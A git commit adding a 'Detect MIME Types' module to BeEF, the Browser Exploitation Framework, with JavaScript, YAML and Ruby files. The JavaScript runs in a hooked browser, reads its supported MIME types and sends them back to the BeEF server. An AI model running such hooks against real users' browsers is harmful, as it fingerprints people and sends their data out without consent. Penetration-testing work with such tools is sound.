Add Detect MIME Types module

This commit is contained in:
Brendan Coles
2017-04-29 15:06:34 +00:00
parent 923f1d9797
commit 6664467c56
3 changed files with 48 additions and 0 deletions

View File

@@ -0,0 +1,19 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if (navigator.mimeTypes) {
var mime_types = JSON.stringify(navigator.mimeTypes);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success());
beef.debug("[Detect MIME Types] " + mime_types);
} else {
beef.debug("[Detect MIME Types] Could not retrieve supported MIME types");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error());
}
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_mime_types:
enable: true
category: "Browser"
name: "Detect MIME Types"
description: "This module retrieves the browser's supported MIME types."
authors: ["bcoles"]
target:
working: ["All"]
not_working: ["IE"]

View File

@@ -0,0 +1,13 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_mime_types < BeEF::Core::Command
def post_execute
content = {}
content['mime_types'] = @datastore['mime_types'] unless @datastore['mime_types'].nil?
save content
end
end